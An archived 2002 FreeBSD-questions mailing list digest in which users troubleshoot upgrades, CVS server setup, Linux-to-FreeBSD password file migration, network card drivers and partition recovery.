| > | > On Wednesday 24 July 2002 03:40 am, sroberts@dsl.pipex.com wrote:
| > | > | Hi Doug,
| > | > |    Thanks for getting back to me. I actually got around that
| >
| > problem
| >
| > | > in the
| > | >
| > | > | end.
| > | > |
| > | > | However upon completing the upgrade, I noticed a couple of things:
| > | > |
| > | > | 1] startx has stopped working (just XFree86-4.0.2 from the 4.4 CD
| >
| > Set,
| >
| > | > no
| > | >
| > | > | gnome of kde installed as yet)
| > | >
| > | > Hard to say.  Does /etc/X11/XFree86Config look like it always did?
| > | > Might want to ktrace/kdump and see what it's really calling.
| > | >
| > | > | typing "startx" for any user just sits there doing nothing (after
| >
| > 5
| >
| > | > mins or
| > | >
| > | > | so I killed it with cttrl c)
| > | > |
| > | > | 2] All user account except that for root disappeared.
| > | >
| > | > Something went wrong with mergemaster.  Perhaps you installed when
| >
| > you
| >
| > | > should
| > | > have merged.  (Or perhaps the problem is with the weird make stuff
| >
| > you
| >
| > | > cite
| > | > below.  I don't believe that I ever did anything of the sort and
| >
| > things
| >
| > | > worked ok for me.)
| > | >
| > | > Regardless, the solution is simple:
| > | > Restore your /etc/passwd /etc/master.passwd from backup.
| > | >
| > | > | 3] During bootup apache failed with "unable to find my FQDN".
| >
| > After
| >
| > | > login
| > | >
| > | > | (as root) "ps waux | grep httpd" returns nothing.
| > | >
| > | > Sorry, that's Greek to me.
| > | >
| > | > | 4] The box does not ask me to enter a password when logging in as
| >
| > root
| >
| > | > on
| > | >
| > | > | the console
| > | >
| > | > See [2] above.
| > | >
| > | > | I'm not sure if this is the right way to get the above queries
| > | >
| > | > addressed,
| > | >
| > | > | but let me know if I should post another to the list.
| > | >
| > | > This is a good place for . . . well, questions.
| > | >
| > | > | Thanks again for taking the time to respond.
| > | > |
| > | > | Stacey
| > | > |
| > | > | Quoting Doug Barton <DougB@FreeBSD.org>:
| > | > | > On Wed, 24 Jul 2002 sroberts@dsl.pipex.com wrote:
| > | > | > > Hello,
| > | > | > >       I've just done a fresh install of 4.4Rel, and I'm trying
| >
| > to
| >
| > | > | > upgrade to
| > | > | >
| > | > | > > the latest stable.
| > | > | > >
| > | > | > > In single user mode [using shutdown now] having dropped from
| > | >
| > | > multiuser
| > | >
| > | > | > mode -
| > | > | >
| > | > | > > All went well until I got to "make installworld". I hit the
| >
| > issue
| >
| > | > | > mentioned in
| > | > | >
| > | > | > > UPDATING 20020404 about the new Sendmail user smmsp. I
| >
| > followed
| >
| > | > the
| > | >
| > | > | > advice to:
| > | > | > > cd /usr/src/usr.sbin/mergemaster; make install clean
| > | > | >
| > | > | > The "clean" there is the problem. What UPDATING actually says
| >
| > is:
| > | > | >         cd /usr/src/usr.sbin/mergemaster; make all install
| >
| > [clean]
| >
| > | > | > I'll delete that altogether, as it's misleading and potentially
| > | > | > dangerous.
| > | > | >
| > | > | > --
| > | > | >    "We have known freedom's price. We have shown freedom's
| >
| > power.
| >
| > | > | >       And in this great conflict, ...  we will see freedom's
| > | >
| > | > victory."
| > | >
| > | > | > 	- George W. Bush, President of the United States
| > | > | >           State of the Union, January 28, 2002
| > | > | >
| > | > | >          Do YOU Yahoo!?
| > | > |
| > | > | To Unsubscribe: send mail to majordomo@FreeBSD.org
| > | > | with "unsubscribe freebsd-questions" in the body of the message
| > | >
| > | > --
| > | > Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
| > | >                                         http://www.babbleon.org
| > | >
| > | > http://www.eff.org
| > | > http://www.programming-freedom.org
| >
| > --
| > Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
| >                                         http://www.babbleon.org
| >
| > http://www.eff.org
| > http://www.programming-freedom.org
|
| To Unsubscribe: send mail to majordomo@FreeBSD.org
| with "unsubscribe freebsd-questions" in the body of the message

-- 
Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
                                        http://www.babbleon.org

http://www.eff.org                      http://www.programming-freedom.org 

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From owner-freebsd-questions  Fri Aug  2  6: 9: 9 2002
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Date: Fri, 02 Aug 2002 08:08:50 -0500
To: "Brian T. Schellenberger" <bts@babbleon.org>,
	<sroberts@dsl.pipex.com>
From: "Jack L. Stone" <jackstone@sage-one.net>
Subject: Re: Got past installworld, new problems however [WASRe: make
  installworld fails with mergemaster errors - 4.4Rel upgrade to 4.6
  Stable]
Cc: <sroberts@dsl.pipex.com>, <sroberts@dsl.pipex.com>,
	Doug Barton <DougB@FreeBSD.ORG>, <sroberts@dsl.pipex.com>,
	<freebsd-questions@FreeBSD.ORG>
In-Reply-To: <200208020847.08116.bts@babbleon.org>
References: <1027517224.3d3eab2863f54@netmail.pipex.net>
 <20020723170306.E8795-100000@master.gorean.org>
 <200207240916.52285.bts@babbleon.org>
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At 08:47 AM 8.2.2002 -0400, Brian T. Schellenberger wrote:
>
>For some odd reason this mail message, though you sent it 24July, was not 
>received by my machine until today.  So sorry if you were "looking forward
to 
>hearing from me soon."
>
....my inbox has numerous old emails dating back to July 26... all from
freebsd.org. That server must have done a restore that was several days
old....??

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Fri Aug  2  6:18:44 2002
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From: "MET" <met@uberstats.com>
To: "'John Mills'" <john.m.mills@alum.mit.edu>
Cc: <freebsd-questions@FreeBSD.ORG>
Subject: RE: Getting started with CVS || slightly off topic again
Date: Fri, 2 Aug 2002 09:23:13 -0400
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"Did you set up the connection between your [x]inetd and starting a
server?"

 ... Do you mean uncommenting the line from the /etc/inetd.conf file
allowing for cvspserver and cvs.

	cvspserver	stream  tcp     nowait  root	  /usr/bin/cvs
cvs --allow-root=/usr/local/repository pserver
	cvs             	stream  tcp     nowait  root
/usr/bin/cvs    cvs --allow-root=/usr/local/repository kserver

"Put in your environment setup:
           export CVSROOT=:pserver:192.168.1.30:/usr/local/repository "

Please bare with me, I'm extremely new to this.....where's my
environmental setup file?


- Matthew


-----Original Message-----
From: John Mills [mailto:jmmills@telocity.com] 
Sent: Thursday, August 01, 2002 10:53 PM
To: MET
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Getting started with CVS || slightly off topic again


MET -

On Thu, 1 Aug 2002, MET wrote:

> I've recently setup CVS by doing:
> 
>     bash-2.05a$ cvs -d /usr/local/repository init

On your local machine, I take it?

> I then tested logging into the directory

Did you set up '/usr/local/respository/CVSROOT/passwd'? You might want
to look into the 'Administrative Files' appendix of the "Cederqvist"
doc. That and [IIRC] chapter 2 give quite a lot of information about
setting up your server. If you have a group of users, the server
approach has a lot to be said for it.

Did you set up the connection between your [x]inetd and starting a
server?

>     bash-2.05a$ cvs -d :pserver:met@192.168.1.30:/usr/local/repository
> login
>     Logging in to :pserver:met@192.168.1.30:2401/usr/local/repository
>     CVS password:
>     bash-2.05a$
>     bash-2.05a$ cd /usr/local/repository
>     bash-2.05a$ ls
>     CVSROOT
>     bash-2.05a$ cd /usr/local/webdev
>     bash-2.05a$ cvs import -m "Imported Sources" met gunks start
                  cvs -d :pserver:192.168.1.30:/usr/local/repository \
                  -m "Imported Sources" met gunks start

>     cvs import: No CVSROOT specified!  Please use the `-d' option
>     cvs [import aborted]: or set the CVSROOT environment variable. Any

> ideas on what I'm missing ?

         Put in your environment setup:
           export CVSROOT=:pserver:192.168.1.30:/usr/local/repository
          (or the equivalent).

 - John Mills


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References: <B9700DC7.5466%stokesg@tpg.com.au>
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Date: 02 Aug 2002 09:20:47 -0400
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Garry Stokes <stokesg@tpg.com.au> writes:

> Sorry for what is probaly a typical newbie question but :
> 
> 
> When running locate I get the following error
> 
> # locate .bat
> /data1/student/1997/smithcz/.winprofile/Desktop/runme1.bat
> locate: integer out of +-MAXPATHLEN (1024): 218365952
> 
> 
> Any idea how to fix?
> (FreeBSD Ver 3.5 Stable)

Did you try running locate.updatedb(8)?

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References: <20020802013803.26506.qmail@web40016.mail.yahoo.com>
 <20020802102902.A21241@ei.bzerk.org>
Date: Fri, 2 Aug 2002 09:25:19 -0400
To: Ruben de Groot <fbsd-q@bzerk.org>, Mr Dan Peck <dan037@yahoo.com>
From: Jim Arnold <jarnold@knightridder.com>
Subject: Re: RedHat to FreeBSD Migration
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>On Thu, Aug 01, 2002 at 06:38:03PM -0700, Mr Dan Peck typed:
>>  Hello List,
>>
>>  I've been tasked with upgrading a server with
>>  approximately 5,000 users (at a small ISP).  The
>>  current server runs RedHat 6.2, and I would prefer to
>>  run FreeBSD 4.6.1 on the new one, but would need to be
>>  able to copy the password and group files from the
>>  RedHat box as we don't have the resources to re-enter
>>  all of the users by hand.  Any information on
>>  migrating the passwd/and group files would be very
>>  helpful.  I'm not currently subscribed to the list, so
>>  please CC: your responses to me.  Thanks!


On pages 524-525 of FreeBSD Unleashed by Michael Urban
and Brian Tiemann there is perl script to covert a Linux user
database to use in FreebSD.

However, the script does not work. I tried to contact the
authors and even the publisher. The authors never responded
and the publisher said he couldn't get them to respond either.

Maybe you or someone else can use this script as a starting
point to fix it. It's beyond my capabilities.

Jim




>
>Hi Dan,
>
>Since I'm not aware of any automated tool for doing what you want, here's
>what I would do:
>
>- Look at FreeBSD's master.passwd file, each entry consists of the
>following fields, seperated by ':'
>
>            name      User's login name.
>
>            password  User's encrypted password.
>
>            uid       User's id.
>
>            gid       User's login group id.
>
>            class     User's login class.
>
>            change    Password change time.
>
>            expire    Account expiration time.
>
>            gecos     General information about the user.
>
>            home_dir  User's home directory.
>
>            shell     User's login shell.
>
>- Find the corresponding fields in RedHat's passwd and shadow files.
>
>- Write a (perl?) script to create a master.passwd from the passwd
>and shadow files
>
>- Move the master.passwd file to the FreeBSD box in the /etc directory
>and run the command:
>
># pwd_mkdb -p /etc/master.passwd
>
>That will create the necessary password database files for you.
>
>Disclaimer: I don't know what format RH uses for its encrypted passwords,
>so maybe you'll have to write another script to generate new passwords
>for each user.
>
>hope this helps,
>
>Ruben
>
>>
>>  -Dan
>>  dan037@yahoo.com
>>
>>
>>
>>  __________________________________________________
>>  Do You Yahoo!?
>>  Yahoo! Health - Feel better, live better
>>  http://health.yahoo.com
>>
>>  To Unsubscribe: send mail to majordomo@FreeBSD.org
>>  with "unsubscribe freebsd-questions" in the body of the message
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-questions" in the body of the message



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Revy <revy@revynet.org> writes:

> I have been looking around, how do  get sun audio support with the
> port mplayer?

Isn't that really an mplayer question?  There are a *lot* of different
versions of the .au file format, and so dealing with them is
accordingly complicated.  sox(1) [in ports] has always been able to
make sense of the ones I've hit...

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From owner-freebsd-questions  Fri Aug  2  7:11: 6 2002
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Hello All

Is there any way to snap a screenshot of a gdm/kdm/wdm/xdm/etc login 
window via the local or a remote host? I haven't been able to figure it 
out.

Thanks - JB

/* 
 * John Bleichert
 * syborg@stny.rr.com
 * http://vonbek.dhs.org/latest.jpg
 */


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From owner-freebsd-questions  Fri Aug  2  7:29:38 2002
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From: Guido Boehm <boehm@rising-systems.DE>
To: freebsd-questions@freebsd.org
Subject: re: problem in make depend
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> I got latest stable but I Can't be succesfull in compiling the kernel,
> any hints on how I Can find bsd.init.mk ?

> cd ../../modules ; env
> MAKEOBJDIRPREFIX=/usr/src/sys/compile/DURLINDANA/modules 
> make obj ;  env
> MAKEOBJDIRPREFIX=/usr/src/sys/compile/DURLINDANA/modules
> make depend
> ===> accf_data
> "/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 63: Could
> not find bsd.init.mk
> "/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 190: Could
> not find bsd.links.mk
> make: fatal errors encountered -- cannot continue
> *** Error code 1
>
> Stop in /usr/src/sys/modules.
> *** Error code 1
>Stop in /usr/src/sys/compile/DURLINDANA.

hi, i had the same problems on 2 machines over here, some others
compiled just fine. 
i replaced bsd.init.mk and bsd.links.mk by 
'/usr/src/share/mk/bsd.{links,init}.mk' im kmod.mk but ran into
some trouble later, it complained about something like
'no such target "_manpages"'.

maybe that helps

/lenix
-- 
www: http://www.lenix.de
fon: +49 - 173 - 80 99 196

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From owner-freebsd-questions  Fri Aug  2  7:32:14 2002
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Date: Fri, 2 Aug 2002 16:32:08 +0200
From: Hanspeter Roth <hanspeter_roth@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: ssh version after cvsup
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  On Aug 02 at 07:44, Matthew Seaman spoke:

> On Thu, Aug 01, 2002 at 11:35:16PM +0200, Hanspeter Roth wrote:
> 
> > which ssh version will I get after cvsuping to RELENG_4_6?
> 
> OpenSSH 3.4p1
> 
> http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/version.h?rev=1.1.1.1.2.8.2.1&content-type=text/x-cvsweb-markup&only_with_tag=RELENG_4_6

Ok. Thank you.
Is there a means to ensure it has not been trojaned?

-Hanspeter

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From owner-freebsd-questions  Fri Aug  2  7:35:23 2002
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From: "Wojciech Majewski" <wojtek@soft.lodz.pl>
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I have problem when I installed freeBSD 4.6 RC2.
I got Ethernet Realtek 80029.
When I type in instruction
ifconfig
there is no ed0 interface!!!
and when i type in instruction:
ifconfig ed0 192.168.0.1 netmask 255.255.255.0 up
the system answers me:
interface ed0 does not exists.
BUt when i boot system there is written:
ed0 ............
and I can see it in KDE / devices/  pci list as ed0

Help me, please
wojtek majewski

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Content-Type: text/html;
	charset="iso-8859-2"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-2">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DTahoma size=3D2>I have problem when I installed =
freeBSD 4.6=20
RC2.</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>I got Ethernet Realtek =
80029.</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>When I type in =
instruction</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>ifconfig</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>there is no ed0 =
interface!!!</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>and when i type in =
instruction:</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>ifconfig ed0 192.168.0.1 netmask =
255.255.255.0=20
up</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>the system answers me:</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>interface ed0 does not =
exists.</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>BUt when i boot system there is=20
written:</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>ed0 ............</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>and I can&nbsp;see it in KDE / =
devices/ &nbsp;pci=20
list as ed0</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DTahoma size=3D2>Help me, please</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>wojtek =
majewski</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Fri Aug  2  7:43:20 2002
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Date: Fri, 2 Aug 2002 16:43:15 +0200
From: Hanspeter Roth <hanspeter_roth@hotmail.com>
To: freebsd-questions@freebsd.org
Subject: detecting media type/speed of cdwriter
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Hello,

can one detect the media type (write once or rewritable) and the
maximum recording speed of a cd in a cdwriter?

-Hanspeter

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From owner-freebsd-questions  Fri Aug  2  7:46:25 2002
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Date: Fri, 02 Aug 2002 09:46:20 -0500
To: freebsd-questions@freebsd.org
From: "Jack L. Stone" <jackstone@sage-one.net>
Subject: Script help
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When placing blocks on some ISPs as being sources of spam floods, one
consideration has to be if it affects a number of innocent members on
various vhost majordomo mail lists so they may have passes.

I know I can find a list of any that would be affected by manually doing this:
grep spammer1.net /mj/vhost1.com/lists/list1
grep spammer1.net /mj/vhost2.org/lists/list2
grep spammer1.net /mj/vhost2.org/lists/list2-digest
...etc, etc.

...but, doing that for each list takes a lot of time and some type of
script would sure speed up things, like this command that runs a script to
check the above 3 mail lists all at once:
root@myserver>> check_all_lists <spammer1.net>
output =	goodguy1@spammer1.net
		goodguy2@spammer1.net
		goodguy3@spammer1.net

Any scripting ideas for "check_all_lists" would be appreciated....

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Fri Aug  2  8:11: 7 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
Message-Id: <200208021511.g72FB2T15847@clunix.cl.msu.edu>
Subject: Re: RedHat to FreeBSD Migration
To: dan037@yahoo.com (Mr Dan Peck)
Date: Fri, 2 Aug 2002 11:11:02 -0400 (EDT)
Cc: freebsd-questions@FreeBSD.ORG
In-Reply-To: <20020802013803.26506.qmail@web40016.mail.yahoo.com> from "Mr Dan Peck" at Aug 01, 2002 06:38:03 PM
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> 
> Hello List,
> 
> I've been tasked with upgrading a server with
> approximately 5,000 users (at a small ISP).  The
> current server runs RedHat 6.2, and I would prefer to
> run FreeBSD 4.6.1 on the new one, but would need to be
> able to copy the password and group files from the
> RedHat box as we don't have the resources to re-enter
> all of the users by hand.  Any information on
> migrating the passwd/and group files would be very
> helpful.  I'm not currently subscribed to the list, so
> please CC: your responses to me.  Thanks!

You should be able to copy over the group file pretty much as is.
Just make sure there are no conflicts or overlaps eg two different 
groups using the same GID or two groups of the same name with 
different GIDs.

For the passwd file, probably the easiest thing is to create a little
perl script that reads the shadow passwd file from the LINUX machine 
and creates and executes adduser(8) commands on the FreeBSD machine 
for each entry.  That way all of the passwd, master.passwd and 
password database files will get updated correctly.  Make sure and 
throw away all the entries on the old machine that shouldn't be
transferred, such as root and ftp, etc.

////jerry

> 
> -Dan
> dan037@yahoo.com
> 
> 

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From owner-freebsd-questions  Fri Aug  2  8:15:22 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
Message-Id: <200208021515.g72FFHK15880@clunix.cl.msu.edu>
Subject: Re: Can FreeBSD make a hard drie unbootable by other OS's?
To: jud@myrealbox.com (Jud)
Date: Fri, 2 Aug 2002 11:15:17 -0400 (EDT)
Cc: freebsd-questions@FreeBSD.ORG (FreeBSD questions mailing list),
	cjcarri@earthlink.net (Cherie & John Carri)
In-Reply-To: <LGMK53ZVIB6YG596752DCLFICKJ.3d49e13a@sparky> from "Jud" at Aug 01, 2002 09:32:42 PM
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> >
> >I'm not sure what is going on, but I guess either the drive's partition
> >table and or MBR are truly messed up, or I have a bad drive on my 
> hands
> >- maybe it died while I was transferring it from one PC to the other,
> >despite the anti-static pad and wrist-strap I used.
> >
> >I'm going to get another hard drive to get this system up, as I need to
> >get it working fairly quickly. Meantime, does anyone think my old 4.3
> >Gig drive is still salvageable, or is it time to use it to help fill up
> >the local landfill?
> >
> >Thanks,
> >-John Carri
> 
> Do I recall correctly that your boot order in BIOS was floppy, then CD-
> ROM, then hard drive?  If that's correct, does setting the hard drive to 
> the second option, before CD-ROM, make any difference?
> 
> Jud
> 

You may be able to do a bios level format on the drive and start
all over.   Boot to bios and look around for the format.  After
that (you might need to do the dd again and) you will need to fdisk
and disklabel.

I doubt the boot order is causing the trouble.  But, you can
play with it.

////jerry


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From owner-freebsd-questions  Fri Aug  2  8:16:20 2002
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From: Katinka Mills <katinka@magestower.com>
To: "Wojciech Majewski" <wojtek@soft.lodz.pl>,
	<questions@freebsd.org>
Subject: Re:RL80029 network card problems (was No Subject)
Date: Fri, 2 Aug 2002 23:10:23 +0800
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On Fri, 2 Aug 2002 22:31, Wojciech Majewski wrote:
> I have problem when I installed freeBSD 4.6 RC2.
> I got Ethernet Realtek 80029.
> When I type in instruction
> ifconfig
> there is no ed0 interface!!!
> and when i type in instruction:
> ifconfig ed0 192.168.0.1 netmask 255.255.255.0 up
> the system answers me:
> interface ed0 does not exists.
> BUt when i boot system there is written:
> ed0 ............
> and I can see it in KDE / devices/  pci list as ed0
>
> Help me, please
> wojtek majewski

First off please put a subject, something like I have (without the bits in the 
()  )

Ok 

if it is a realtek card, yes you can run it in "NE2000" compatability mode, 
but the proper way is to use the Realtek driver  "RL".

It is configured in the GENERIC kernel, so unless you have made a custom one, 
just configure rl0.

If you have made a custom kernel, make sure the rl driver is still in it (from 
memory this driver also needs the mii bus driver too)

Hope this helps,

Kat.

-- 
--------------------------------------------------------------------------------------------
K.A.Q. Electronics
Software and Electronic Engineering
Perth, Western Australia
Phone +61 (0) 419 923 731
--------------------------------------------------------------------------------------------

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From owner-freebsd-questions  Fri Aug  2  8:29:48 2002
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From: "Wes Baehr" <iwes@totalmac.net>
To: <freebsd-questions@FreeBSD.ORG>
Cc: "rheaB seW" <iwes@Silver.TotalMac.net>
References: <20020731232008.A66933@Silver.TotalMac.net> <20020801164058.A910@gicco.cablecom.ch>
Subject: Re: Recovering partitions
Date: Fri, 2 Aug 2002 11:29:36 -0400
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Thanks! gpart didn't see my NTFS partition, but it did recover the ufs one,
which was all I needed.

Thanks again,
Wes
----- Original Message -----
From: "Hanspeter Roth" <hanspeter_roth@hotmail.com>
To: <freebsd-questions@FreeBSD.ORG>
Cc: "rheaB seW" <iwes@Silver.TotalMac.net>
Sent: Thursday, August 01, 2002 10:40 AM
Subject: Re: Recovering partitions


>   On Jul 31 at 23:20, rheaB seW spoke:
>
> > Is there any way to recover my lost partitions? If it's possible by
somehow getting the superblock count.. or something.. I'd sure appreciate
the help.
>
> I recently destroyed my partition table.
> I could recover it with testdrive
> http://www.cgsecurity.org/testdisk.html.
> Gpart discovered my FreeBSD partition but not my logical fat32
> partitions. But maybe on your drive it might discover more.
> http://www.stud.uni-hannover.de/user/76201/gpart/
>
> -Hanspeter
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Fri Aug  2  8:30:14 2002
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ðÒÉ×ÅÔ, ÐÏÄÒÕÇÁ!

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ãÅÌÕÀ. ô×ÏÑ ÐÏÄÒÕÇÁ  éÒÉÛËÁ.



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From owner-freebsd-questions  Fri Aug  2  8:40:36 2002
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From: "Moti Levy" <moti@flncs.com>
To: "Mr Dan Peck" <dan037@yahoo.com>
Cc: <freebsd-questions@FreeBSD.ORG>
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Subject: Re: RedHat to FreeBSD Migration
Date: Fri, 2 Aug 2002 11:39:55 -0400
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How about this ? ( tested on my debian 3.0 and FreeBSD 4.6 with 5 test
accounts  )
on linux box
$pwunconf
$cp /etc/passwd /root/passwd.conv
$awk -F":" '{print $1":"$2":"$3":"$4":put login class here:put pass change
time
here:put pass expire time here:"$5":"$6":"7}' /root/passwd.conv >
/root/passwd.bsd
$scp /root/passwd.bsd user@freebsd:~/

on freebsd box
$vipw
for within vipw , go to last line
:r! cat ~/user/passwd.fbsd
save

test , done
let me know if it worked ( it did for me )
NOTE: dont forget to delete the passwd.conf and passwd.fbsd files and to run
pwconv on the linux box .


-------------------------------------------------
Moti
www.flncs.com
-------------------------------------------------
be careful what you wish for ...
-------------------------------------------------

----- Original Message -----
From: "Jerry McAllister" <jerrymc@clunix.cl.msu.edu>
To: "Mr Dan Peck" <dan037@yahoo.com>
Cc: <freebsd-questions@FreeBSD.ORG>
Sent: Friday, August 02, 2002 11:11 AM
Subject: Re: RedHat to FreeBSD Migration


> >
> > Hello List,
> >
> > I've been tasked with upgrading a server with
> > approximately 5,000 users (at a small ISP).  The
> > current server runs RedHat 6.2, and I would prefer to
> > run FreeBSD 4.6.1 on the new one, but would need to be
> > able to copy the password and group files from the
> > RedHat box as we don't have the resources to re-enter
> > all of the users by hand.  Any information on
> > migrating the passwd/and group files would be very
> > helpful.  I'm not currently subscribed to the list, so
> > please CC: your responses to me.  Thanks!
>
> You should be able to copy over the group file pretty much as is.
> Just make sure there are no conflicts or overlaps eg two different
> groups using the same GID or two groups of the same name with
> different GIDs.
>
> For the passwd file, probably the easiest thing is to create a little
> perl script that reads the shadow passwd file from the LINUX machine
> and creates and executes adduser(8) commands on the FreeBSD machine
> for each entry.  That way all of the passwd, master.passwd and
> password database files will get updated correctly.  Make sure and
> throw away all the entries on the old machine that shouldn't be
> transferred, such as root and ftp, etc.
>
> ////jerry
>
> >
> > -Dan
> > dan037@yahoo.com
> >
> >
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>
>



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From owner-freebsd-questions  Fri Aug  2  8:42:15 2002
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From: "Moti Levy" <moti@flncs.com>
To: "Moti Levy" <moti@flncs.com>, "Mr Dan Peck" <dan037@yahoo.com>
Cc: <freebsd-questions@FreeBSD.ORG>
References: <200208021511.g72FB2T15847@clunix.cl.msu.edu> <026801c23a3a$e19a86b0$fd6e34c6@moti>
Subject: Re: RedHat to FreeBSD Migration
Date: Fri, 2 Aug 2002 11:41:37 -0400
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typo
it should be pwunconv ....
-------------------------------------------------
Moti
www.flncs.com
-------------------------------------------------
be careful what you wish for ...
-------------------------------------------------

----- Original Message -----
From: "Moti Levy" <moti@flncs.com>
To: "Mr Dan Peck" <dan037@yahoo.com>
Cc: <freebsd-questions@FreeBSD.ORG>
Sent: Friday, August 02, 2002 11:39 AM
Subject: Re: RedHat to FreeBSD Migration


> How about this ? ( tested on my debian 3.0 and FreeBSD 4.6 with 5 test
> accounts  )
> on linux box
> $pwunconf
> $cp /etc/passwd /root/passwd.conv
> $awk -F":" '{print $1":"$2":"$3":"$4":put login class here:put pass change
> time
> here:put pass expire time here:"$5":"$6":"7}' /root/passwd.conv >
> /root/passwd.bsd
> $scp /root/passwd.bsd user@freebsd:~/
>
> on freebsd box
> $vipw
> for within vipw , go to last line
> :r! cat ~/user/passwd.fbsd
> save
>
> test , done
> let me know if it worked ( it did for me )
> NOTE: dont forget to delete the passwd.conf and passwd.fbsd files and to
run
> pwconv on the linux box .
>
>
> -------------------------------------------------
> Moti
> www.flncs.com
> -------------------------------------------------
> be careful what you wish for ...
> -------------------------------------------------
>
> ----- Original Message -----
> From: "Jerry McAllister" <jerrymc@clunix.cl.msu.edu>
> To: "Mr Dan Peck" <dan037@yahoo.com>
> Cc: <freebsd-questions@FreeBSD.ORG>
> Sent: Friday, August 02, 2002 11:11 AM
> Subject: Re: RedHat to FreeBSD Migration
>
>
> > >
> > > Hello List,
> > >
> > > I've been tasked with upgrading a server with
> > > approximately 5,000 users (at a small ISP).  The
> > > current server runs RedHat 6.2, and I would prefer to
> > > run FreeBSD 4.6.1 on the new one, but would need to be
> > > able to copy the password and group files from the
> > > RedHat box as we don't have the resources to re-enter
> > > all of the users by hand.  Any information on
> > > migrating the passwd/and group files would be very
> > > helpful.  I'm not currently subscribed to the list, so
> > > please CC: your responses to me.  Thanks!
> >
> > You should be able to copy over the group file pretty much as is.
> > Just make sure there are no conflicts or overlaps eg two different
> > groups using the same GID or two groups of the same name with
> > different GIDs.
> >
> > For the passwd file, probably the easiest thing is to create a little
> > perl script that reads the shadow passwd file from the LINUX machine
> > and creates and executes adduser(8) commands on the FreeBSD machine
> > for each entry.  That way all of the passwd, master.passwd and
> > password database files will get updated correctly.  Make sure and
> > throw away all the entries on the old machine that shouldn't be
> > transferred, such as root and ftp, etc.
> >
> > ////jerry
> >
> > >
> > > -Dan
> > > dan037@yahoo.com
> > >
> > >
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> >
> >
>
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>
>


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From owner-freebsd-questions  Fri Aug  2  8:53:19 2002
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Date: Fri, 2 Aug 2002 17:52:58 +0200
From: Roman Neuhauser <neuhauser@bellavista.cz>
To: freebsd-questions@freebsd.org
Subject: Re: Script help
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> Date: Fri, 02 Aug 2002 09:46:20 -0500
> To: freebsd-questions@freebsd.org
> From: "Jack L. Stone" <jackstone@sage-one.net>
> Subject: Script help
> 
> When placing blocks on some ISPs as being sources of spam floods, one
> consideration has to be if it affects a number of innocent members on
> various vhost majordomo mail lists so they may have passes.
> 
> I know I can find a list of any that would be affected by manually doing this:
> grep spammer1.net /mj/vhost1.com/lists/list1
> grep spammer1.net /mj/vhost2.org/lists/list2
> grep spammer1.net /mj/vhost2.org/lists/list2-digest
> ..etc, etc.
> 
> ..but, doing that for each list takes a lot of time and some type of
> script would sure speed up things, like this command that runs a script to
> check the above 3 mail lists all at once:
> root@myserver>> check_all_lists <spammer1.net>
> output =	goodguy1@spammer1.net
> 		goodguy2@spammer1.net
> 		goodguy3@spammer1.net

    grep -Fl spammer1.net /mj/*/lists/*

-- 
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5:50PM up 3 days, 1:27, 10 users, load averages: 0.00, 0.00, 0.00

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From owner-freebsd-questions  Fri Aug  2  8:56:53 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
Message-Id: <200208021556.g72Fujt16128@clunix.cl.msu.edu>
Subject: Re: Trap 12 page fault in kernel mode
To: mcrogerm@stjohn.ac.th (Roger Merritt)
Date: Fri, 2 Aug 2002 11:56:45 -0400 (EDT)
Cc: freebsd-questions@FreeBSD.ORG
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> 
> I've been having problems running portsdb and portupgrade remotely for a
> couple of months now. When I use SSH to log in and run portsdb I get a hell
> of a lot of error messages (mostly saying "" doesn't exist and the
> dependency list is incomplete) and after a couple of hours the server
> reboots. Today I caught it while the screen was still displaying the error
> message, "Trap 12 page fault while in kernel mode". Today I was running the
> file output by 'portversion -c > needs.update'. The machine had been
> chugging away merrily for a couple of hours downloading and compiling when
> the same thing happened.
> 
> I guess from the term "page fault" there has been a glitch in virtual
> memory. Is this a symptom that my hard drive might be developing problems?
> Oddly enough, I've run similar commands from the console and they've
> completed without a reboot.

The term "page fault" just means it had to page out some memory to
disk or get it back again.  The virtual memory system pages so swap
space.   

I don't know about the other messages though.  I supposes they could 
also relate to running out of memory and swap space but really don't
know.

